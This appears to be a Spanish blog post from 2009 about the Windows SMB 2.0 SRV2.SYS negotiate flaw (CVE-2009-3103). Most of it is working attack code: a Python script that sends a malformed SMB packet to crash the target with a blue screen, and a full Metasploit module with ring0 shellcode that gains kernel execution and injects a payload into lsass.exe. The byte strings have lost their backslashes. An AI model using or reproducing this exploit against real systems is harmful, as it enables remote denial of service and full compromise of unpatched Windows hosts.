Microsoft Windows SMB 2.0 SRV2.SYS Negotiate Request BSoD
Oct 6, 2009El bug esta en el header de SMB, v2, de la nueva implementacion que nos provee MS a partir de Windows Vista.
La funcion vulnerable es _Smb2ValidateProviderCallback() que mediante un dereferenced call nos permite controlar un short proveniente de un array. El campo problematico es el Process ID High del header de SMB en el SMB_NEGOTIATE
Cuando en ese campo se introduce un "&", produce un BSoD. La explotacion no es trivial pero si existe una posibilidad.
Dejo un exploit en Phyton:
Smb-Bsod.py:
#!/usr/bin/python
from socket import socket
host = "IP_ADDR", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
O bien para metasploit en Ruby:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
'Description' => %q{
This module exploits an out of bounds function table dereference in the SMB
request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
without SP1 does not seem affected by this flaw.
},
'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
['CVE', '2009-3103'],
['BID', '36299'],
['OSVDB', '57799'],
['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' => {
'Space' => 1024,
'StackAdjustment' => -3500,
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' => [
[ 'Windows Vista SP1/SP2 and Server 2008 (x86)', {
'Platform' => 'win',
'Arch' => [ ARCH_X86 ],
'Ret' => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
'ReadAddress' => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
'ProcessIDHigh' => 0x0217, # srv2!SrvSnapShotScavengerTimer
'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
}],
],
'DefaultTarget' => 0
))
register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
end
# The payload works as follows:
# * Our sysenter handler and ring3 stagers are copied over to safe location.
# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
# * The srv2.sys thread we are in is placed in a halted state.
# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
def ring0_x86_payload( opts = {} )
# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
kstager = opts['StagerAddressKernel'] || 0xFFDF0400
# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
ustager = opts['StagerAddressUser'] || 0x7FFE0400
# Target SYSTEM process to inject ring3 payload into.
process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
# A simple hash of the process name based on the first 4 wide chars.
# Assumes process is located at '*:windowssystem32'. (From Rex::Payloads::Win32::Kernel::Stager)
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
# The ring0 -> ring3 payload blob. Full assembly listing given below.
r0 = "xFCxFAxEBx1Ex5Ex68x76x01x00x00x59x0Fx32x89x46x60" +
"x8Bx7Ex64x89xF8x0Fx30xB9x41x41x41x41xF3xA4xFBxF4" +
"xEBxFDxE8xDDxFFxFFxFFx6Ax00x9Cx60xE8x00x00x00x00" +
"x58x8Bx58x57x89x5Cx24x24x81xF9xDExC0xADxDEx75x10" +
"x68x76x01x00x00x59x89xD8x31xD2x0Fx30x31xC0xEBx34" +
"x8Bx32x0FxB6x1Ex66x81xFBxC3x00x75x28x8Bx58x5Fx8D" +
"x5Bx6Cx89x1AxB8x01x00x00x80x0FxA2x81xE2x00x00x10" +
"x00x74x11xBAx45x45x45x45x81xC2x04x00x00x00x81x22" +
"xFFxFFxFFx7Fx61x9DxC3xFFxFFxFFxFFx42x42x42x42x43" +
"x43x43x43x60x6Ax30x58x99x64x8Bx18x39x53x0Cx74x2E" +
"x8Bx43x10x8Bx40x3Cx83xC0x28x8Bx08x03x48x03x81xF9" +
"x44x44x44x44x75x18xE8x0Ax00x00x00xE8x10x00x00x00" +
"xE9x09x00x00x00xB9xDExC0xADxDEx89xE2x0Fx34x61xC3"
# Patch in the required values.
r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
return r0 + payload.encoded
end
def exploit
print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
connect
# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
# and srv2!SrvProcPartialCompleteCompoundedRequest
dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]
data = dialects.collect { |dialect| "x02" + dialect + "x00" }.join('')
data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34
data += [ 0x42424242 ].pack("V") * 7 # Unused
data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
data += [ 0x41414141 ].pack("V") * 6 # Unused
data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode
# We gain code execution by returning into the SMB packet, begining with its header.
# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
# This will cause an access violation if executed as we can never set EBX to a valid pointer.
# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
# We patch the Signature1 value to be a jump forward into our shellcode.
packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
packet['Payload']['SMB'].v['Flags1'] = 0x18
packet['Payload']['SMB'].v['Flags2'] = 0xC853
packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...
packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
packet['Payload'].v['Payload'] = data
packet = packet.to_s
print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
sock.put( packet )
wtime = datastore['WAIT'].to_i
print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
stime = Time.now.to_i
poke_logins = %W{Guest Administrator}
poke_logins.each do |login|
begin
sec = connect(false)
sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
rescue ::Exception => e
sec.socket.close
end
end
while( stime + wtime > Time.now.to_i )
select(nil, nil, nil, 0.25)
break if session_created?
end
handler
disconnect
end
end
Versiones afectadas:
Windows Vistas Sp1 Sp2 tanto de 32 como de 64 bits
Windows 7 RC
Windows 2008 Sp1 Server